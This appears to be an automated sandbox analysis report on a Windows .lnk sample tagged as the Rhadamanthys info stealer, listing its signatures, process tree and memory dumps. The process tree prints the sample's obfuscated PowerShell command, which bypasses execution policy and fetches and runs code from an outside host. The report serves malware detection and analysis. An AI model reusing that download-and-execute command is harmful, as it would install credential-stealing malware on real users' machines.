Analysis
- max time kernel
147s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
- submitted
05/04/2024, 07:44
General
- Target 6391-BST-SH.lnk
- Size 11KB
- Sample240405-jk4fjsfb53
- SHA256 ab77586e8f74d90236f06107b0cd965c7a2d78cc978c56ccf047e17bcefb8d46
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\6391-BST-SH.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwB2AGkAegBpAGoAYQAzADYAMAAuAGwAdAAvAGQAbwBjAC4AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACAAfAAgAGkATgB2AE8AawBFAC0ARQB4AFAAcgBlAFMAcwBpAE8AbgA=2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_pmrw2nlz.dxo.ps1
memory/2720-40-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp
memory/2720-39-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp
memory/2720-36-0x00007FFA397E0000-0x00007FFA3989D000-memory.dmp
memory/2720-37-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp
memory/2720-38-0x00007FFA37E00000-0x00007FFA38174000-memory.dmp
memory/2720-35-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp
memory/2720-32-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp
memory/2720-25-0x000001E4B87B0000-0x000001E4B87B9000-memory.dmp
memory/3760-21-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp
memory/3760-31-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp
memory/3760-20-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp
memory/3760-19-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp
memory/3760-22-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp
memory/3760-23-0x00007FFA397E0000-0x00007FFA3989D000-memory.dmp
memory/3760-18-0x000001F0FBBC0000-0x000001F0FBBD0000-memory.dmp
memory/3760-24-0x00007FFA37E00000-0x00007FFA38174000-memory.dmp
memory/3760-29-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp
memory/3760-17-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp
memory/3760-16-0x000001F0FBBC0000-0x000001F0FBBD0000-memory.dmp
memory/3760-15-0x000001F0FBB60000-0x000001F0FBBBE000-memory.dmp
memory/3760-34-0x00007FFA197C0000-0x00007FFA1A282000-memory.dmp
memory/3760-14-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp
memory/3760-13-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp
memory/3760-12-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp
memory/3760-10-0x000001F0FB6E0000-0x000001F0FB702000-memory.dmp
memory/3760-11-0x00007FFA197C0000-0x00007FFA1A282000-memory.dmp